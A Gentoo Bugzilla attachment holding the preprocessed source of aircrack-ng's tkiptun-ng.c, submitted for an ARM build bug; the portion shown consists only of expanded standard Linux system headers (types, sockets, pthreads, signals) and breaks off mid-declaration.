Go to:
Gentoo Home
Documentation
Forums
Lists
Bugs
Planet
Store
Wiki
Get Gentoo!
Gentoo's Bugzilla – Attachment 365894 Details for
Bug 495022
=net-wireless/aircrack-ng-1.1-r2 on ARM - ?
Home
|
New
–
[Ex]
|
Browse
|
Search
|
Privacy Policy
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
preprocessed source
o.c (text/x-csrc), 391.29 KB, created by
Dmitry
on 2013-12-22 16:55:02 UTC
(
hide
)
Description:
preprocessed source
Filename:
MIME Type:
Creator:
Dmitry
Created:
2013-12-22 16:55:02 UTC
Size:
391.29 KB
patch
obsolete
># 1 "tkiptun-ng.c" ># 1 "<command-line>" ># 1 "tkiptun-ng.c" ># 38 "tkiptun-ng.c" ># 1 "/usr/include/linux/rtc.h" 1 3 4 ># 20 "/usr/include/linux/rtc.h" 3 4 >struct rtc_time { > int tm_sec; > int tm_min; > int tm_hour; > int tm_mday; > int tm_mon; > int tm_year; > int tm_wday; > int tm_yday; > int tm_isdst; >}; > > > > > >struct rtc_wkalrm { > unsigned char enabled; > unsigned char pending; > struct rtc_time time; >}; ># 55 "/usr/include/linux/rtc.h" 3 4 >struct rtc_pll_info { > int pll_ctrl; > int pll_value; > int pll_max; > int pll_min; > int pll_posmult; > int pll_negmult; > long pll_clock; >}; ># 39 "tkiptun-ng.c" 2 > > ># 1 "/usr/include/sys/types.h" 1 3 4 ># 26 "/usr/include/sys/types.h" 3 4 ># 1 "/usr/include/features.h" 1 3 4 ># 358 "/usr/include/features.h" 3 4 ># 1 "/usr/include/sys/cdefs.h" 1 3 4 ># 378 "/usr/include/sys/cdefs.h" 3 4 ># 1 "/usr/include/bits/wordsize.h" 1 3 4 ># 379 "/usr/include/sys/cdefs.h" 2 3 4 ># 359 "/usr/include/features.h" 2 3 4 ># 382 "/usr/include/features.h" 3 4 ># 1 "/usr/include/gnu/stubs.h" 1 3 4 ># 383 "/usr/include/features.h" 2 3 4 ># 27 "/usr/include/sys/types.h" 2 3 4 > > > ># 1 "/usr/include/bits/types.h" 1 3 4 ># 28 "/usr/include/bits/types.h" 3 4 ># 1 "/usr/include/bits/wordsize.h" 1 3 4 ># 29 "/usr/include/bits/types.h" 2 3 4 > > >typedef unsigned char __u_char; >typedef unsigned short int __u_short; >typedef unsigned int __u_int; >typedef unsigned long int __u_long; > > >typedef signed char __int8_t; >typedef unsigned char __uint8_t; >typedef signed short int __int16_t; >typedef unsigned short int __uint16_t; >typedef signed int __int32_t; >typedef unsigned int __uint32_t; > > > > >__extension__ typedef signed long long int __int64_t; >__extension__ typedef unsigned long long int __uint64_t; > > > > > > > >__extension__ typedef long long int __quad_t; >__extension__ typedef unsigned long long int __u_quad_t; ># 131 "/usr/include/bits/types.h" 3 4 ># 1 "/usr/include/bits/typesizes.h" 1 3 4 ># 132 "/usr/include/bits/types.h" 2 3 4 > > >__extension__ typedef __u_quad_t __dev_t; >__extension__ typedef unsigned int __uid_t; >__extension__ typedef unsigned int __gid_t; >__extension__ typedef unsigned long int __ino_t; >__extension__ typedef __u_quad_t __ino64_t; >__extension__ typedef unsigned int __mode_t; >__extension__ typedef unsigned int __nlink_t; >__extension__ typedef long int __off_t; >__extension__ typedef __quad_t __off64_t; >__extension__ typedef int __pid_t; >__extension__ typedef struct { int __val[2]; } __fsid_t; >__extension__ typedef long int __clock_t; >__extension__ typedef unsigned long int __rlim_t; >__extension__ typedef __u_quad_t __rlim64_t; >__extension__ typedef unsigned int __id_t; >__extension__ typedef long int __time_t; >__extension__ typedef unsigned int __useconds_t; >__extension__ typedef long int __suseconds_t; > >__extension__ typedef int __daddr_t; >__extension__ typedef long int __swblk_t; >__extension__ typedef int __key_t; > > >__extension__ typedef int __clockid_t; > > >__extension__ typedef void * __timer_t; > > >__extension__ typedef long int __blksize_t; > > > > >__extension__ typedef long int __blkcnt_t; >__extension__ typedef __quad_t __blkcnt64_t; > > >__extension__ typedef unsigned long int __fsblkcnt_t; >__extension__ typedef __u_quad_t __fsblkcnt64_t; > > >__extension__ typedef unsigned long int __fsfilcnt_t; >__extension__ typedef __u_quad_t __fsfilcnt64_t; > >__extension__ typedef int __ssize_t; > > > >typedef __off64_t __loff_t; >typedef __quad_t *__qaddr_t; >typedef char *__caddr_t; > > >__extension__ typedef int __intptr_t; > > >__extension__ typedef unsigned int __socklen_t; ># 31 "/usr/include/sys/types.h" 2 3 4 > > > >typedef __u_char u_char; >typedef __u_short u_short; >typedef __u_int u_int; >typedef __u_long u_long; >typedef __quad_t quad_t; >typedef __u_quad_t u_quad_t; >typedef __fsid_t fsid_t; > > > > >typedef __loff_t loff_t; > > > > > >typedef __ino64_t ino_t; ># 61 "/usr/include/sys/types.h" 3 4 >typedef __dev_t dev_t; > > > > >typedef __gid_t gid_t; > > > > >typedef __mode_t mode_t; > > > > >typedef __nlink_t nlink_t; > > > > >typedef __uid_t uid_t; > > > > > > > >typedef __off64_t off_t; ># 99 "/usr/include/sys/types.h" 3 4 >typedef __pid_t pid_t; > > > > > >typedef __id_t id_t; > > > > >typedef __ssize_t ssize_t; > > > > > >typedef __daddr_t daddr_t; >typedef __caddr_t caddr_t; > > > > > >typedef __key_t key_t; ># 133 "/usr/include/sys/types.h" 3 4 ># 1 "/usr/include/time.h" 1 3 4 ># 58 "/usr/include/time.h" 3 4 > > >typedef __clock_t clock_t; > > > ># 74 "/usr/include/time.h" 3 4 > > >typedef __time_t time_t; > > > ># 92 "/usr/include/time.h" 3 4 >typedef __clockid_t clockid_t; ># 104 "/usr/include/time.h" 3 4 >typedef __timer_t timer_t; ># 134 "/usr/include/sys/types.h" 2 3 4 ># 147 "/usr/include/sys/types.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 213 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 3 4 >typedef unsigned int size_t; ># 148 "/usr/include/sys/types.h" 2 3 4 > > > >typedef unsigned long int ulong; >typedef unsigned short int ushort; >typedef unsigned int uint; ># 195 "/usr/include/sys/types.h" 3 4 >typedef int int8_t __attribute__ ((__mode__ (__QI__))); >typedef int int16_t __attribute__ ((__mode__ (__HI__))); >typedef int int32_t __attribute__ ((__mode__ (__SI__))); >typedef int int64_t __attribute__ ((__mode__ (__DI__))); > > >typedef unsigned int u_int8_t __attribute__ ((__mode__ (__QI__))); >typedef unsigned int u_int16_t __attribute__ ((__mode__ (__HI__))); >typedef unsigned int u_int32_t __attribute__ ((__mode__ (__SI__))); >typedef unsigned int u_int64_t __attribute__ ((__mode__ (__DI__))); > >typedef int register_t __attribute__ ((__mode__ (__word__))); ># 217 "/usr/include/sys/types.h" 3 4 ># 1 "/usr/include/endian.h" 1 3 4 ># 37 "/usr/include/endian.h" 3 4 ># 1 "/usr/include/bits/endian.h" 1 3 4 ># 38 "/usr/include/endian.h" 2 3 4 ># 61 "/usr/include/endian.h" 3 4 ># 1 "/usr/include/bits/byteswap.h" 1 3 4 ># 62 "/usr/include/endian.h" 2 3 4 ># 218 "/usr/include/sys/types.h" 2 3 4 > > ># 1 "/usr/include/sys/select.h" 1 3 4 ># 31 "/usr/include/sys/select.h" 3 4 ># 1 "/usr/include/bits/select.h" 1 3 4 ># 32 "/usr/include/sys/select.h" 2 3 4 > > ># 1 "/usr/include/bits/sigset.h" 1 3 4 ># 24 "/usr/include/bits/sigset.h" 3 4 >typedef int __sig_atomic_t; > > > > >typedef struct > { > unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))]; > } __sigset_t; ># 35 "/usr/include/sys/select.h" 2 3 4 > > > >typedef __sigset_t sigset_t; > > > > > ># 1 "/usr/include/time.h" 1 3 4 ># 120 "/usr/include/time.h" 3 4 >struct timespec > { > __time_t tv_sec; > long int tv_nsec; > }; ># 45 "/usr/include/sys/select.h" 2 3 4 > ># 1 "/usr/include/bits/time.h" 1 3 4 ># 31 "/usr/include/bits/time.h" 3 4 >struct timeval > { > __time_t tv_sec; > __suseconds_t tv_usec; > }; ># 47 "/usr/include/sys/select.h" 2 3 4 > > >typedef __suseconds_t suseconds_t; > > > > > >typedef long int __fd_mask; ># 65 "/usr/include/sys/select.h" 3 4 >typedef struct > { > > > > > > > __fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))]; > > > } fd_set; > > > > > > >typedef __fd_mask fd_mask; ># 97 "/usr/include/sys/select.h" 3 4 > ># 107 "/usr/include/sys/select.h" 3 4 >extern int select (int __nfds, fd_set *__restrict __readfds, > fd_set *__restrict __writefds, > fd_set *__restrict __exceptfds, > struct timeval *__restrict __timeout); ># 119 "/usr/include/sys/select.h" 3 4 >extern int pselect (int __nfds, fd_set *__restrict __readfds, > fd_set *__restrict __writefds, > fd_set *__restrict __exceptfds, > const struct timespec *__restrict __timeout, > const __sigset_t *__restrict __sigmask); > > > > > ># 1 "/usr/include/bits/select2.h" 1 3 4 ># 25 "/usr/include/bits/select2.h" 3 4 >extern long int __fdelt_chk (long int __d); >extern long int __fdelt_warn (long int __d) > __attribute__((__warning__ ("bit outside of fd_set selected"))); ># 130 "/usr/include/sys/select.h" 2 3 4 > > > ># 221 "/usr/include/sys/types.h" 2 3 4 > > ># 1 "/usr/include/sys/sysmacros.h" 1 3 4 ># 30 "/usr/include/sys/sysmacros.h" 3 4 > > >__extension__ >extern unsigned int gnu_dev_major (unsigned long long int __dev) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); >__extension__ >extern unsigned int gnu_dev_minor (unsigned long long int __dev) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); >__extension__ >extern unsigned long long int gnu_dev_makedev (unsigned int __major, > unsigned int __minor) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); > > >__extension__ extern __inline __attribute__ ((__const__)) unsigned int >__attribute__ ((__nothrow__ , __leaf__)) gnu_dev_major (unsigned long long int __dev) >{ > return ((__dev >> 8) & 0xfff) | ((unsigned int) (__dev >> 32) & ~0xfff); >} > >__extension__ extern __inline __attribute__ ((__const__)) unsigned int >__attribute__ ((__nothrow__ , __leaf__)) gnu_dev_minor (unsigned long long int __dev) >{ > return (__dev & 0xff) | ((unsigned int) (__dev >> 12) & ~0xff); >} > >__extension__ extern __inline __attribute__ ((__const__)) unsigned long long int >__attribute__ ((__nothrow__ , __leaf__)) gnu_dev_makedev (unsigned int __major, unsigned int __minor) >{ > return ((__minor & 0xff) | ((__major & 0xfff) << 8) > | (((unsigned long long int) (__minor & ~0xff)) << 12) > | (((unsigned long long int) (__major & ~0xfff)) << 32)); >} > > ># 224 "/usr/include/sys/types.h" 2 3 4 > > > > > >typedef __blksize_t blksize_t; ># 249 "/usr/include/sys/types.h" 3 4 >typedef __blkcnt64_t blkcnt_t; > > > >typedef __fsblkcnt64_t fsblkcnt_t; > > > >typedef __fsfilcnt64_t fsfilcnt_t; ># 271 "/usr/include/sys/types.h" 3 4 ># 1 "/usr/include/bits/pthreadtypes.h" 1 3 4 ># 38 "/usr/include/bits/pthreadtypes.h" 3 4 >typedef unsigned long int pthread_t; > > >typedef union >{ > char __size[36]; > long int __align; >} pthread_attr_t; > > >typedef struct __pthread_internal_slist >{ > struct __pthread_internal_slist *__next; >} __pthread_slist_t; > > > > >typedef union >{ > struct __pthread_mutex_s > { > int __lock; > unsigned int __count; > int __owner; > > > int __kind; > unsigned int __nusers; > __extension__ union > { > int __spins; > __pthread_slist_t __list; > }; > } __data; > char __size[24]; > long int __align; >} pthread_mutex_t; > >typedef union >{ > char __size[4]; > long int __align; >} pthread_mutexattr_t; > > > > >typedef union >{ > struct > { > int __lock; > unsigned int __futex; > __extension__ unsigned long long int __total_seq; > __extension__ unsigned long long int __wakeup_seq; > __extension__ unsigned long long int __woken_seq; > void *__mutex; > unsigned int __nwaiters; > unsigned int __broadcast_seq; > } __data; > char __size[48]; > __extension__ long long int __align; >} pthread_cond_t; > >typedef union >{ > char __size[4]; > long int __align; >} pthread_condattr_t; > > > >typedef unsigned int pthread_key_t; > > > >typedef int pthread_once_t; > > > > > >typedef union >{ > struct > { > int __lock; > unsigned int __nr_readers; > unsigned int __readers_wakeup; > unsigned int __writer_wakeup; > unsigned int __nr_readers_queued; > unsigned int __nr_writers_queued; ># 141 "/usr/include/bits/pthreadtypes.h" 3 4 > unsigned char __flags; > unsigned char __shared; > unsigned char __pad1; > unsigned char __pad2; > > int __writer; > } __data; > char __size[32]; > long int __align; >} pthread_rwlock_t; > >typedef union >{ > char __size[8]; > long int __align; >} pthread_rwlockattr_t; > > > > > >typedef volatile int pthread_spinlock_t; > > > > >typedef union >{ > char __size[20]; > long int __align; >} pthread_barrier_t; > >typedef union >{ > char __size[4]; > int __align; >} pthread_barrierattr_t; ># 272 "/usr/include/sys/types.h" 2 3 4 > > > ># 42 "tkiptun-ng.c" 2 ># 1 "/usr/include/sys/socket.h" 1 3 4 ># 26 "/usr/include/sys/socket.h" 3 4 > > ># 1 "/usr/include/sys/uio.h" 1 3 4 ># 26 "/usr/include/sys/uio.h" 3 4 > > > ># 1 "/usr/include/bits/uio.h" 1 3 4 ># 44 "/usr/include/bits/uio.h" 3 4 >struct iovec > { > void *iov_base; > size_t iov_len; > }; > > > > > > > > > >extern ssize_t process_vm_readv (pid_t __pid, __const struct iovec *__lvec, > unsigned long int __liovcnt, > __const struct iovec *__rvec, > unsigned long int __riovcnt, > unsigned long int __flags) > __attribute__ ((__nothrow__ , __leaf__)); > > >extern ssize_t process_vm_writev (pid_t __pid, __const struct iovec *__lvec, > unsigned long int __liovcnt, > __const struct iovec *__rvec, > unsigned long int __riovcnt, > unsigned long int __flags) > __attribute__ ((__nothrow__ , __leaf__)); > > ># 30 "/usr/include/sys/uio.h" 2 3 4 ># 40 "/usr/include/sys/uio.h" 3 4 >extern ssize_t readv (int __fd, __const struct iovec *__iovec, int __count) > __attribute__ ((__warn_unused_result__)); ># 51 "/usr/include/sys/uio.h" 3 4 >extern ssize_t writev (int __fd, __const struct iovec *__iovec, int __count) > __attribute__ ((__warn_unused_result__)); ># 82 "/usr/include/sys/uio.h" 3 4 >extern ssize_t preadv (int __fd, __const struct iovec *__iovec, int __count, __off64_t __offset) __asm__ ("" "preadv64") > > __attribute__ ((__warn_unused_result__)); >extern ssize_t pwritev (int __fd, __const struct iovec *__iovec, int __count, __off64_t __offset) __asm__ ("" "pwritev64") > > __attribute__ ((__warn_unused_result__)); ># 121 "/usr/include/sys/uio.h" 3 4 > ># 29 "/usr/include/sys/socket.h" 2 3 4 > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 31 "/usr/include/sys/socket.h" 2 3 4 ># 40 "/usr/include/sys/socket.h" 3 4 ># 1 "/usr/include/bits/socket.h" 1 3 4 ># 29 "/usr/include/bits/socket.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 30 "/usr/include/bits/socket.h" 2 3 4 > > > > > >typedef __socklen_t socklen_t; > > > > >enum __socket_type >{ > SOCK_STREAM = 1, > > > SOCK_DGRAM = 2, > > > SOCK_RAW = 3, > > SOCK_RDM = 4, > > SOCK_SEQPACKET = 5, > > > SOCK_DCCP = 6, > > SOCK_PACKET = 10, > > > > > > > > SOCK_CLOEXEC = 02000000, > > > SOCK_NONBLOCK = 04000 > > >}; ># 177 "/usr/include/bits/socket.h" 3 4 ># 1 "/usr/include/bits/sockaddr.h" 1 3 4 ># 29 "/usr/include/bits/sockaddr.h" 3 4 >typedef unsigned short int sa_family_t; ># 178 "/usr/include/bits/socket.h" 2 3 4 > > >struct sockaddr > { > sa_family_t sa_family; > char sa_data[14]; > }; ># 193 "/usr/include/bits/socket.h" 3 4 >struct sockaddr_storage > { > sa_family_t ss_family; > unsigned long int __ss_align; > char __ss_padding[(128 - (2 * sizeof (unsigned long int)))]; > }; > > > >enum > { > MSG_OOB = 0x01, > > MSG_PEEK = 0x02, > > MSG_DONTROUTE = 0x04, > > > > > > > MSG_CTRUNC = 0x08, > > MSG_PROXY = 0x10, > > MSG_TRUNC = 0x20, > > MSG_DONTWAIT = 0x40, > > MSG_EOR = 0x80, > > MSG_WAITALL = 0x100, > > MSG_FIN = 0x200, > > MSG_SYN = 0x400, > > MSG_CONFIRM = 0x800, > > MSG_RST = 0x1000, > > MSG_ERRQUEUE = 0x2000, > > MSG_NOSIGNAL = 0x4000, > > MSG_MORE = 0x8000, > > MSG_WAITFORONE = 0x10000, > > > MSG_CMSG_CLOEXEC = 0x40000000 > > > > }; > > > > >struct msghdr > { > void *msg_name; > socklen_t msg_namelen; > > struct iovec *msg_iov; > size_t msg_iovlen; > > void *msg_control; > size_t msg_controllen; > > > > > int msg_flags; > }; ># 280 "/usr/include/bits/socket.h" 3 4 >struct cmsghdr > { > size_t cmsg_len; > > > > > int cmsg_level; > int cmsg_type; > > __extension__ unsigned char __cmsg_data []; > > }; ># 310 "/usr/include/bits/socket.h" 3 4 >extern struct cmsghdr *__cmsg_nxthdr (struct msghdr *__mhdr, > struct cmsghdr *__cmsg) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern __inline struct cmsghdr * >__attribute__ ((__nothrow__ , __leaf__)) __cmsg_nxthdr (struct msghdr *__mhdr, struct cmsghdr *__cmsg) >{ > if ((size_t) __cmsg->cmsg_len < sizeof (struct cmsghdr)) > > return (struct cmsghdr *) 0; > > __cmsg = (struct cmsghdr *) ((unsigned char *) __cmsg > + (((__cmsg->cmsg_len) + sizeof (size_t) - 1) & (size_t) ~(sizeof (size_t) - 1))); > if ((unsigned char *) (__cmsg + 1) > ((unsigned char *) __mhdr->msg_control > + __mhdr->msg_controllen) > || ((unsigned char *) __cmsg + (((__cmsg->cmsg_len) + sizeof (size_t) - 1) & (size_t) ~(sizeof (size_t) - 1)) > > ((unsigned char *) __mhdr->msg_control + __mhdr->msg_controllen))) > > return (struct cmsghdr *) 0; > return __cmsg; >} > > > > >enum > { > SCM_RIGHTS = 0x01 > > > > > > }; ># 383 "/usr/include/bits/socket.h" 3 4 ># 1 "/usr/include/asm/socket.h" 1 3 4 ># 1 "/usr/include/asm-generic/socket.h" 1 3 4 > > > ># 1 "/usr/include/asm/sockios.h" 1 3 4 ># 1 "/usr/include/asm-generic/sockios.h" 1 3 4 ># 1 "/usr/include/asm/sockios.h" 2 3 4 ># 5 "/usr/include/asm-generic/socket.h" 2 3 4 ># 1 "/usr/include/asm/socket.h" 2 3 4 ># 384 "/usr/include/bits/socket.h" 2 3 4 ># 417 "/usr/include/bits/socket.h" 3 4 >struct linger > { > int l_onoff; > int l_linger; > }; > > > > > > > > > >extern int recvmmsg (int __fd, struct mmsghdr *__vmessages, > unsigned int __vlen, int __flags, > __const struct timespec *__tmo); > > > > > >extern int sendmmsg (int __fd, struct mmsghdr *__vmessages, > unsigned int __vlen, int __flags); > > ># 41 "/usr/include/sys/socket.h" 2 3 4 > > > > >struct osockaddr > { > unsigned short int sa_family; > unsigned char sa_data[14]; > }; > > > > >enum >{ > SHUT_RD = 0, > > SHUT_WR, > > SHUT_RDWR > >}; ># 105 "/usr/include/sys/socket.h" 3 4 >extern int socket (int __domain, int __type, int __protocol) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern int socketpair (int __domain, int __type, int __protocol, > int __fds[2]) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int bind (int __fd, __const struct sockaddr * __addr, socklen_t __len) > __attribute__ ((__nothrow__ , __leaf__)); > > >extern int getsockname (int __fd, struct sockaddr *__restrict __addr, > socklen_t *__restrict __len) __attribute__ ((__nothrow__ , __leaf__)); ># 129 "/usr/include/sys/socket.h" 3 4 >extern int connect (int __fd, __const struct sockaddr * __addr, socklen_t __len); > > > >extern int getpeername (int __fd, struct sockaddr *__restrict __addr, > socklen_t *__restrict __len) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern ssize_t send (int __fd, __const void *__buf, size_t __n, int __flags); > > > > > > >extern ssize_t recv (int __fd, void *__buf, size_t __n, int __flags); > > > > > > >extern ssize_t sendto (int __fd, __const void *__buf, size_t __n, > int __flags, __const struct sockaddr * __addr, > socklen_t __addr_len); ># 166 "/usr/include/sys/socket.h" 3 4 >extern ssize_t recvfrom (int __fd, void *__restrict __buf, size_t __n, > int __flags, struct sockaddr *__restrict __addr, > socklen_t *__restrict __addr_len); > > > > > > > >extern ssize_t sendmsg (int __fd, __const struct msghdr *__message, > int __flags); > > > > > > >extern ssize_t recvmsg (int __fd, struct msghdr *__message, int __flags); > > > > > >extern int getsockopt (int __fd, int __level, int __optname, > void *__restrict __optval, > socklen_t *__restrict __optlen) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int setsockopt (int __fd, int __level, int __optname, > __const void *__optval, socklen_t __optlen) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern int listen (int __fd, int __n) __attribute__ ((__nothrow__ , __leaf__)); ># 214 "/usr/include/sys/socket.h" 3 4 >extern int accept (int __fd, struct sockaddr *__restrict __addr, > socklen_t *__restrict __addr_len); ># 232 "/usr/include/sys/socket.h" 3 4 >extern int shutdown (int __fd, int __how) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int sockatmark (int __fd) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > > >extern int isfdtype (int __fd, int __fdtype) __attribute__ ((__nothrow__ , __leaf__)); > > > > > ># 1 "/usr/include/bits/socket2.h" 1 3 4 ># 24 "/usr/include/bits/socket2.h" 3 4 >extern ssize_t __recv_chk (int __fd, void *__buf, size_t __n, size_t __buflen, > int __flags); >extern ssize_t __recv_alias (int __fd, void *__buf, size_t __n, int __flags) __asm__ ("" "recv") > ; >extern ssize_t __recv_chk_warn (int __fd, void *__buf, size_t __n, size_t __buflen, int __flags) __asm__ ("" "__recv_chk") > > > __attribute__((__warning__ ("recv called with bigger length than size of destination " "buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) ssize_t >recv (int __fd, void *__buf, size_t __n, int __flags) >{ > if (__builtin_object_size (__buf, 0) != (size_t) -1) > { > if (!__builtin_constant_p (__n)) > return __recv_chk (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags); > > if (__n > __builtin_object_size (__buf, 0)) > return __recv_chk_warn (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags); > } > return __recv_alias (__fd, __buf, __n, __flags); >} > >extern ssize_t __recvfrom_chk (int __fd, void *__restrict __buf, size_t __n, > size_t __buflen, int __flags, > struct sockaddr *__restrict __addr, > socklen_t *__restrict __addr_len); >extern ssize_t __recvfrom_alias (int __fd, void *__restrict __buf, size_t __n, int __flags, struct sockaddr *__restrict __addr, socklen_t *__restrict __addr_len) __asm__ ("" "recvfrom") > > > ; >extern ssize_t __recvfrom_chk_warn (int __fd, void *__restrict __buf, size_t __n, size_t __buflen, int __flags, struct sockaddr *__restrict __addr, socklen_t *__restrict __addr_len) __asm__ ("" "__recvfrom_chk") > > > > > __attribute__((__warning__ ("recvfrom called with bigger length than size of " "destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) ssize_t >recvfrom (int __fd, void *__restrict __buf, size_t __n, int __flags, > struct sockaddr *__restrict __addr, socklen_t *__restrict __addr_len) >{ > if (__builtin_object_size (__buf, 0) != (size_t) -1) > { > if (!__builtin_constant_p (__n)) > return __recvfrom_chk (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags, > __addr, __addr_len); > if (__n > __builtin_object_size (__buf, 0)) > return __recvfrom_chk_warn (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags, > __addr, __addr_len); > } > return __recvfrom_alias (__fd, __buf, __n, __flags, __addr, __addr_len); >} ># 252 "/usr/include/sys/socket.h" 2 3 4 > > > ># 43 "tkiptun-ng.c" 2 ># 1 "/usr/include/sys/ioctl.h" 1 3 4 ># 24 "/usr/include/sys/ioctl.h" 3 4 > > > ># 1 "/usr/include/bits/ioctls.h" 1 3 4 ># 24 "/usr/include/bits/ioctls.h" 3 4 ># 1 "/usr/include/asm/ioctls.h" 1 3 4 > > > > > ># 1 "/usr/include/asm-generic/ioctls.h" 1 3 4 > > > ># 1 "/usr/include/linux/ioctl.h" 1 3 4 > > > ># 1 "/usr/include/asm/ioctl.h" 1 3 4 ># 1 "/usr/include/asm-generic/ioctl.h" 1 3 4 ># 1 "/usr/include/asm/ioctl.h" 2 3 4 ># 5 "/usr/include/linux/ioctl.h" 2 3 4 ># 5 "/usr/include/asm-generic/ioctls.h" 2 3 4 ># 7 "/usr/include/asm/ioctls.h" 2 3 4 ># 25 "/usr/include/bits/ioctls.h" 2 3 4 ># 28 "/usr/include/sys/ioctl.h" 2 3 4 > > ># 1 "/usr/include/bits/ioctl-types.h" 1 3 4 ># 28 "/usr/include/bits/ioctl-types.h" 3 4 >struct winsize > { > unsigned short int ws_row; > unsigned short int ws_col; > unsigned short int ws_xpixel; > unsigned short int ws_ypixel; > }; > > >struct termio > { > unsigned short int c_iflag; > unsigned short int c_oflag; > unsigned short int c_cflag; > unsigned short int c_lflag; > unsigned char c_line; > unsigned char c_cc[8]; >}; ># 31 "/usr/include/sys/ioctl.h" 2 3 4 > > > > > > ># 1 "/usr/include/sys/ttydefaults.h" 1 3 4 ># 38 "/usr/include/sys/ioctl.h" 2 3 4 > > > > >extern int ioctl (int __fd, unsigned long int __request, ...) __attribute__ ((__nothrow__ , __leaf__)); > > ># 44 "tkiptun-ng.c" 2 ># 1 "/usr/include/sys/wait.h" 1 3 4 ># 29 "/usr/include/sys/wait.h" 3 4 > > ># 1 "/usr/include/signal.h" 1 3 4 ># 31 "/usr/include/signal.h" 3 4 > > ># 1 "/usr/include/bits/sigset.h" 1 3 4 ># 104 "/usr/include/bits/sigset.h" 3 4 >extern int __sigismember (__const __sigset_t *, int); >extern int __sigaddset (__sigset_t *, int); >extern int __sigdelset (__sigset_t *, int); ># 118 "/usr/include/bits/sigset.h" 3 4 >extern __inline int __sigismember (__const __sigset_t *__set, int __sig) { unsigned long int __mask = (((unsigned long int) 1) << (((__sig) - 1) % (8 * sizeof (unsigned long int)))); unsigned long int __word = (((__sig) - 1) / (8 * sizeof (unsigned long int))); return (__set->__val[__word] & __mask) ? 1 : 0; } >extern __inline int __sigaddset ( __sigset_t *__set, int __sig) { unsigned long int __mask = (((unsigned long int) 1) << (((__sig) - 1) % (8 * sizeof (unsigned long int)))); unsigned long int __word = (((__sig) - 1) / (8 * sizeof (unsigned long int))); return ((__set->__val[__word] |= __mask), 0); } >extern __inline int __sigdelset ( __sigset_t *__set, int __sig) { unsigned long int __mask = (((unsigned long int) 1) << (((__sig) - 1) % (8 * sizeof (unsigned long int)))); unsigned long int __word = (((__sig) - 1) / (8 * sizeof (unsigned long int))); return ((__set->__val[__word] &= ~__mask), 0); } ># 34 "/usr/include/signal.h" 2 3 4 > > > > > > > >typedef __sig_atomic_t sig_atomic_t; > ># 58 "/usr/include/signal.h" 3 4 ># 1 "/usr/include/bits/signum.h" 1 3 4 ># 59 "/usr/include/signal.h" 2 3 4 ># 76 "/usr/include/signal.h" 3 4 ># 1 "/usr/include/time.h" 1 3 4 ># 77 "/usr/include/signal.h" 2 3 4 > > ># 1 "/usr/include/bits/siginfo.h" 1 3 4 ># 25 "/usr/include/bits/siginfo.h" 3 4 ># 1 "/usr/include/bits/wordsize.h" 1 3 4 ># 26 "/usr/include/bits/siginfo.h" 2 3 4 > > > > > > > >typedef union sigval > { > int sival_int; > void *sival_ptr; > } sigval_t; ># 51 "/usr/include/bits/siginfo.h" 3 4 >typedef struct siginfo > { > int si_signo; > int si_errno; > > int si_code; > > union > { > int _pad[((128 / sizeof (int)) - 3)]; > > > struct > { > __pid_t si_pid; > __uid_t si_uid; > } _kill; > > > struct > { > int si_tid; > int si_overrun; > sigval_t si_sigval; > } _timer; > > > struct > { > __pid_t si_pid; > __uid_t si_uid; > sigval_t si_sigval; > } _rt; > > > struct > { > __pid_t si_pid; > __uid_t si_uid; > int si_status; > __clock_t si_utime; > __clock_t si_stime; > } _sigchld; > > > struct > { > void *si_addr; > } _sigfault; > > > struct > { > long int si_band; > int si_fd; > } _sigpoll; > } _sifields; > } siginfo_t; ># 129 "/usr/include/bits/siginfo.h" 3 4 >enum >{ > SI_ASYNCNL = -60, > > SI_TKILL = -6, > > SI_SIGIO, > > SI_ASYNCIO, > > SI_MESGQ, > > SI_TIMER, > > SI_QUEUE, > > SI_USER, > > SI_KERNEL = 0x80 > >}; > > > >enum >{ > ILL_ILLOPC = 1, > > ILL_ILLOPN, > > ILL_ILLADR, > > ILL_ILLTRP, > > ILL_PRVOPC, > > ILL_PRVREG, > > ILL_COPROC, > > ILL_BADSTK > >}; > > >enum >{ > FPE_INTDIV = 1, > > FPE_INTOVF, > > FPE_FLTDIV, > > FPE_FLTOVF, > > FPE_FLTUND, > > FPE_FLTRES, > > FPE_FLTINV, > > FPE_FLTSUB > >}; > > >enum >{ > SEGV_MAPERR = 1, > > SEGV_ACCERR > >}; > > >enum >{ > BUS_ADRALN = 1, > > BUS_ADRERR, > > BUS_OBJERR > >}; > > >enum >{ > TRAP_BRKPT = 1, > > TRAP_TRACE > >}; > > >enum >{ > CLD_EXITED = 1, > > CLD_KILLED, > > CLD_DUMPED, > > CLD_TRAPPED, > > CLD_STOPPED, > > CLD_CONTINUED > >}; > > >enum >{ > POLL_IN = 1, > > POLL_OUT, > > POLL_MSG, > > POLL_ERR, > > POLL_PRI, > > POLL_HUP > >}; ># 273 "/usr/include/bits/siginfo.h" 3 4 >typedef struct sigevent > { > sigval_t sigev_value; > int 